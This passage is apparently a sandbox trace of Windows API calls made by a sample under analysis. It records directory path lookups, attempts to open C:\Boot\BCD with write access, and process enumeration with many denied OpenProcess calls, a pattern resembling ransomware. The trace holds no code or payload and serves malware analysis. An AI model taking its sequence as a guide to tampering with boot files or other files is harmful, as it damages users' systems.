(in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0059.597] CloseHandle (hObject=0xc4) returned 1 [0059.597] GetFileType (hFile=0x128) returned 0x1 [0059.597] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.599] CloseHandle (hObject=0x128) returned 1 [0059.599] GetFileType (hFile=0xc4) returned 0x1 [0059.599] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0059.600] CloseHandle (hObject=0xc4) returned 1 [0059.600] GetFileType (hFile=0x128) returned 0x1 [0059.600] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.601] CloseHandle (hObject=0x128) returned 1 [0059.601] GetFileType (hFile=0xc4) returned 0x1 [0059.601] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0059.602] CloseHandle (hObject=0xc4) returned 1 [0059.603] GetFileType (hFile=0x128) returned 0x1 [0059.603] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.604] CloseHandle (hObject=0x128) returned 1 [0059.604] GetFileType (hFile=0xc4) returned 0x1 [0059.604] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0059.605] CloseHandle (hObject=0xc4) returned 1 [0059.605] GetFileType (hFile=0x128) returned 0x1 [0059.606] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.607] CloseHandle (hObject=0x128) returned 1 [0059.607] GetFileType (hFile=0xc4) returned 0x1 [0059.607] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0059.608] CloseHandle (hObject=0xc4) returned 1 [0059.608] GetFileType (hFile=0x128) returned 0x1 [0059.608] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.609] CloseHandle (hObject=0x128) returned 1 [0059.609] GetFileType (hFile=0xc4) returned 0x1 [0059.609] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0059.610] CloseHandle (hObject=0xc4) returned 1 [0059.610] GetFileType (hFile=0x128) returned 0x1 [0059.610] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.612] CloseHandle (hObject=0x128) returned 1 [0059.612] GetFileType (hFile=0xc4) returned 0x1 [0059.612] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0059.613] CloseHandle (hObject=0xc4) returned 1 [0059.613] GetFileType (hFile=0x128) returned 0x1 [0059.613] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.614] CloseHandle (hObject=0x128) returned 1 [0059.614] GetFileType (hFile=0xc4) returned 0x1 [0059.614] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0059.615] CloseHandle (hObject=0xc4) returned 1 [0059.615] GetFileType (hFile=0x128) returned 0x1 [0059.615] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.616] CloseHandle (hObject=0x128) returned 1 [0059.617] GetFileType (hFile=0xc4) returned 0x1 [0059.617] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0059.618] CloseHandle (hObject=0xc4) returned 1 [0059.618] GetFileType (hFile=0x128) returned 0x1 [0059.618] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.619] CloseHandle (hObject=0x128) returned 1 [0059.619] GetFileType (hFile=0xc4) returned 0x1 [0059.619] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0059.672] CloseHandle (hObject=0xc4) returned 1 [0059.673] GetFileType (hFile=0x128) returned 0x1 [0059.673] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.674] CloseHandle (hObject=0x128) returned 1 [0059.674] GetFileType (hFile=0xc4) returned 0x1 [0059.674] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0059.675] CloseHandle (hObject=0xc4) returned 1 [0059.675] GetFileType (hFile=0x128) returned 0x1 [0059.675] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.677] CloseHandle (hObject=0x128) returned 1 [0059.677] GetFileType (hFile=0xc4) returned 0x1 [0059.677] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0059.678] CloseHandle (hObject=0xc4) returned 1 [0059.678] GetFileType (hFile=0x128) returned 0x1 [0059.678] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.679] CloseHandle (hObject=0x128) returned 1 [0059.679] GetFileType (hFile=0xc4) returned 0x1 [0059.680] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0059.680] CloseHandle (hObject=0xc4) returned 1 [0059.681] GetFileType (hFile=0x128) returned 0x1 [0059.681] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.682] CloseHandle (hObject=0x128) returned 1 [0059.682] GetFileType (hFile=0xc4) returned 0x1 [0059.682] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0059.684] CloseHandle (hObject=0xc4) returned 1 [0059.684] GetFileType (hFile=0x128) returned 0x1 [0059.684] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.685] CloseHandle (hObject=0x128) returned 1 [0059.685] GetFileType (hFile=0xc4) returned 0x1 [0059.685] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0059.686] CloseHandle (hObject=0xc4) returned 1 [0059.686] GetFileType (hFile=0x128) returned 0x1 [0059.686] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0059.688] CloseHandle (hObject=0x128) returned 1 [0059.688] GetFileType (hFile=0xc4) returned 0x1 [0059.688] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.689] CloseHandle (hObject=0xc4) returned 1 [0059.690] GetFileType (hFile=0x128) returned 0x1 [0059.690] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0059.690] CloseHandle (hObject=0x128) returned 1 [0059.691] GetFileType (hFile=0xc4) returned 0x1 [0059.691] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0059.692] CloseHandle (hObject=0xc4) returned 1 [0059.692] GetFileType (hFile=0x128) returned 0x1 [0059.693] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0059.694] CloseHandle (hObject=0x128) returned 1 [0059.695] GetFileType (hFile=0xc4) returned 0x0 [0059.695] CloseHandle (hObject=0xc4) returned 1 [0059.695] GetProcessHeap () returned 0x48a0000 [0059.695] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x6580020 | out: hHeap=0x48a0000) returned 1 [0059.698] Sleep (dwMilliseconds=0xa) [0059.765] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.766] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0059.767] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Boot\\BCD.LOG") returned 15 [0059.767] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.767] GetLastError () returned 0x20 [0059.767] GetProcessHeap () returned 0x48a0000 [0059.767] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6580020 [0059.768] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x6580020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x6580020, ResultLength=0x0) returned 0x0 [0060.163] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.163] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.164] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.164] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.164] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.164] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.165] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.165] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.165] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.165] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.165] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.166] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.166] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.166] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.166] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.167] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.167] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.167] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.167] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.168] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.168] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.168] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.168] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.169] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.169] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.169] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.170] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.170] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.170] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.170] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.170] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.171] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.171] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.171] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.171] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.172] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.172] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.172] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.172] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.173] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.173] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.173] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.173] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.174] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.174] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.174] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.174] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.174] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.175] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.175] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.175] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.175] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.176] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.176] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.176] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.176] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.177] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.177] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.177] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.177] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.178] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.178] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.178] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.178] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.179] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.179] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.179] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.179] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.180] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.180] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.180] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.180] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.180] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.181] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.181] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.181] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.181] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.278] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.278] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.278] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.278] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.279] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.279] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.279] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.281] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.281] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.281] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.281] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.282] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.282] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.282] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.282] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.283] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.283] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.283] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.283] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.284] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.284] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.284] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.284] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.285] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.285] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.285] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.285] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.286] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.286] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.286] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.286] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.286] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.287] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.287] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.287] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.287] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.288] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.288] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.288] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.288] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.289] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.289] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.289] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.289] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.289] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.290] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.290] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.290] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.290] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.291] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.291] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.291] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.291] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.291] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.292] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.292] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.293] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.293] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.293] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.293] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.294] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.294] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.294] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.294] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.295] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.295] OpenProcess 